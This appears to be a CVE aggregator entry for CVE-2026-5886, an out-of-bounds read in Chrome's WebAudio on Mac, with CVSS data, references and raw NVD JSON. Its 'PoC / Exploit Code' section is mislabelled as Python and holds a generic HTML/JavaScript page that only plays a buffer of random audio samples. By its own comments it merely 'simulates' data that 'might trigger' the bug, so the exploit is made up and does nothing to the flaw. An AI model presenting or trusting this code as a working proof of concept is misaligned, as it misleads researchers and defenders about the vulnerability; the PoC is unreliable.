CVE-2026-5886

Description

Out of bounds read in WebAudio in Google Chrome on Mac prior to 147.0.7727.55 allowed a remote attacker to obtain potentially sensitive information from process memory via a crafted HTML page. (Chromium security severity: Medium)

CVSS Details

CVSS Score

5.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE

Google Chrome (Mac) < 147.0.7727.55

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!DOCTYPE html>
<html>
<head>
    <title>CVE-2026-5886 PoC</title>
</head>
<body>
<script>
    // Proof of Concept for Out of bounds read in WebAudio
    // Target: Google Chrome on Mac < 147.0.7727.55
    try {
        const audioCtx = new (window.AudioContext || window.webkitAudioContext)();
        
        // Create an AudioBuffer
        // Attempting to trigger the vulnerability by manipulating buffer data
        const buffer = audioCtx.createBuffer(1, 4096, 44100);
        const data = buffer.getChannelData(0);

        // Simulate crafted data that might trigger out-of-bounds access
        // In a real scenario, specific audio processing logic triggers the read
        for (let i = 0; i < data.length; i++) {
            data[i] = Math.random() * 2 - 1;
        }

        // Function to process audio and potentially trigger the bug
        const source = audioCtx.createBufferSource();
        source.buffer = buffer;
        source.connect(audioCtx.destination);
        source.start(0);

        console.log("[+] Audio processing started. If vulnerable, memory read may occur.");

    } catch (e) {
        console.log("[-] Error: " + e.message);
    }
</script>
<p>Check browser console for activity.</p>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-5886
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-5886
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-5886/
[4] VulDB https://vuldb.com/cve/CVE-2026-5886
[5] https://chromereleases.googleblog.com/2026/04/stable-channel-update-for-desktop.html
[6] https://issues.chromium.org/issues/485397283

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-5886", "sourceIdentifier": "[email protected]", "published": "2026-04-08T22:16:28.367", "lastModified": "2026-04-13T21:19:35.253", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Out of bounds read in WebAudio in Google Chrome on Mac prior to 147.0.7727.55 allowed a remote attacker to obtain potentially sensitive information from process memory via a crafted HTML page. (Chromium security severity: Medium)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.6, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-125"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:*", "versionEndExcluding": "147.0.7727.55", "matchCriteriaId": "9A68673A-1331-48AF-8860-53064F0AF310"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}]}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/04/stable-channel-update-for-desktop.html", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://issues.chromium.org/issues/485397283", "source": "[email protected]", "tags": ["Issue Tracking", "Permissions Required"]}]}}